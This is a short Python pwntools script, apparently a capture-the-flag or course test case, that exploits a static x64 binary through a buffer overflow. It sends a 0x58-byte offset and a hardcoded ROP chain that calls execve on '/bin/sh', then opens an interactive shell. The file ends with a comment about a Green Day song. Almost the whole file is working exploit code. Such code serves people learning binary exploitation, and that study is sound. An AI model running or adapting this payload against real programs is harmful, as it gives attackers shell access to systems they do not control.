# +------------------------------------------------+
# | Atack: Bof Static                              |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/07-bof_static

from pwn import *

import sf

target = process("./chall-test_Ret2Static-00-x64")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x58)
rop_chain = [4280916, 7036928, 4494453, b'/bin/sh\x00', 4771361, 4280916, 59, 4195990, 7036928, 4260003, 0, 4494453, 0, 4198908]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Green Day                              |
# +------------------------------------------------+
# | Song: Longview                                 |
# +------------------------------------------------+
# | *amazing bass riff                             |
# +------------------------------------------------+

